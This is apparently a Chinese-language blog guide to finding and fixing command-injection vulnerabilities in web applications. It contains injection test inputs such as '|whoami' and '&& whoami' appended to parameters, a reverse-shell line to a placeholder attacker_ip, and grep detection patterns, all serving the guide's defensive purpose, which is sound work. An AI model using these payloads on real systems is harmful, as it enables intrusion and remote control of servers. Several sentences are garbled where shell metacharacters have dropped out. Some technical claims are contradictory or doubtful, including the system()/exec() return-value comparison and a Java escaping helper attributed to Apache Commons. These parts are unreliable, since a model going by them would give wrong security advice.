命令执行漏洞如何排查

wen 网络安全 29

本文目录导读:

命令执行漏洞如何排查

  1. 定位可疑的输入点(入口审查)
  2. 检查执行点的上下文(漏洞验证)
  3. 系统与日志审计(确认痕迹)
  4. 利用自动化工具辅助排查
  5. 典型误判与进阶突破点
  6. 紧急修复方案(若确认存在漏洞)

针对命令执行漏洞的排查,建议从输入点审查、执行点审查、权限审计、流量分析四个维度系统性地展开,以下是具体的排查步骤和技术要点:

定位可疑的输入点(入口审查)

命令执行漏洞通常发生在用户输入被直接或间接拼接进系统命令的场景,重点关注以下位置:

  1. 常见功能模块

    • 文件上传/下载:文件名、路径参数(如?file=123.txt;id)。
    • 网络工具:Ping、Traceroute、Nslookup、DNS查询(如?host=8.8.8.8|whoami)。
    • 系统诊断:磁盘检查、进程列表、日志导出(如?cmd=ls)。
    • 编码/解码库:Base64解码、URL解码(如果库调用了外部命令,且参数可控)。
    • 第三方服务调用:如调用系统FFmpeg、ImageMagick、cURL时,参数未严格过滤。
  2. 排查代码中的危险函数(以常见语言为例):

    • PHPexec()system()passthru()shell_exec()popen()proc_open()eval()(配合命令行)。
    • JavaRuntime.getRuntime().exec()ProcessBuilderRuntime.exec()(通过管道符绕过)。
    • Pythonos.system()os.popen()subprocess.Popen(shell=True)eval()/exec()(在系统命令上下文中)。
    • Node.jschild_process.exec()(默认shell)、child_process.spawn(shell: true)eval()
    • Shell脚本:直接在Web后端拼接字符串后执行system()

    排查工具:使用正则或代码审计工具(如Semgrep、SonarQube)全局搜索上述函数。

    # 在代码中搜索关键函数
    grep -r "system(" --include="*.php" --include="*.jsp" --include="*.py" /path/to/webroot

检查执行点的上下文(漏洞验证)

发现可疑代码后,需验证用户输入是否未经处理直接进入命令:

  1. 静态分析

    • 查看变量赋值链:$_GET['cmd']$cmdsystem($cmd)
    • 特别注意:“绕过过滤”的情况:
      • 白名单过滤不严(如只屏蔽但未屏蔽、&$(command)、`command`)。
      • 未禁用shell元字符:<>|;&$()
      • 存在二次编码:%7C( ) → 。
  2. 动态测试(需授权且在测试环境)

    • 在输入参数后追加一个无害测试命令,观察响应差异:
      • ?ip=127.0.0.1 && whoami
      • ?host=example.com & sleep 5
      • ?file=1.txt;echo test
    • 测试命令存在性:如果目标系统有idcalc.exe,执行后看输出或错误信息。
    • 时间盲测sleep 10ping -c 3 127.0.0.1,观察响应延迟。

系统与日志审计(确认痕迹)

  1. Web服务器日志

    • 检查 access_logerror_log非常规参数,如:
      grep -E "(\\||;|&&|`|\$\(|%28|%29)" /var/log/nginx/access.log | grep -E "(?i)(whoami|id|cat|uname|pwd)"
    • 关注异常长的请求包含特殊字符的URL(如%7C%3B%60)。
  2. 系统审计日志(Linux /var/log/auth.log/var/log/syslog):

    • 查找由Web服务器用户(如www-data)发起的异常进程
      sudo ausearch -c httpd -ts today | grep -E "(exec|system|sh|bash)"
    • 使用sysdigauditd直接记录命令执行行为(需预先配置规则)。
  3. 网络流量分析

    • 抓包查看HTTP请求参数中是否直接包含shell命令(如?cmd=ls)。
    • 检查出站流量:如果攻击者执行了反向Shell(如bash -i >& /dev/tcp/attacker_ip/port 0>&1),会有异常的TCP连接。

利用自动化工具辅助排查

  1. 静态代码扫描

    • Semgrep:编写规则检测参数拼接至危险函数。
    • Checkmarx / Fortify:商业工具,可标记高风险的命令执行路径。
  2. 动态扫描(黑盒测试,仅针对测试环境):

    • Burp Suite + Intruder:发送|id&pwd等Payload,观察响应。
    • sqlmap--os-shell 功能(但主要用于SQL注入,需先确认数据库交互中有系统调用)。
  3. 命令行审计脚本

    # 查找所有包含 "exec(" 且非注释的PHP文件,并显示行号
    grep -rn "\<exec\s*(" --include="*.php" . | grep -v "^.*\/\/"

典型误判与进阶突破点

  • 白名单绕过:检测到代码用了白名单(如只允许ping),但攻击者通过-c参数后注入:ping -c 1 127.0.0.1 && whoami(需确认白名单是否覆盖所有参数)。
  • 拼接式注入system("/bin/ping " . $ip),即使ping是白名单,$ip仍可包含或。
  • 低权限环境:即使存在命令执行,可能因Web用户权限低(如nobody)看不出明显结果,需检查是否有提权后利用
  • 函数返回值system()返回最后一行stdout,而exec()只返回最后一行;攻击者可能利用此差异隐藏输出。

紧急修复方案(若确认存在漏洞)

  1. 最直接避免使用系统命令,使用原生API替代(如PHP的gethostbyname()替代ping)。
  2. 强制转义
    • PHP:escapeshellcmd() / escapeshellarg()
    • Python:shlex.quote()
    • Java:ShellUtils.quote() (Apache Commons)。
  3. 白名单过滤:只允许预定义的IP格式(如^(\d{1,3}\.){3}\d{1,3}$),并禁止所有shell元字符。
  4. 最小权限:Web服务用户降权(如www-data只读),并禁用不必要的系统命令(使用chrootAppArmor/SELinux策略)。

最后建议:如果排查后仍不确定,可在Web应用中使用安全监控代理(如ModSecurity)记录所有命令执行或异常输入,并设置WAF规则强制拦截、、$(cmd)`cmd`等字符。

抱歉,评论功能暂时关闭!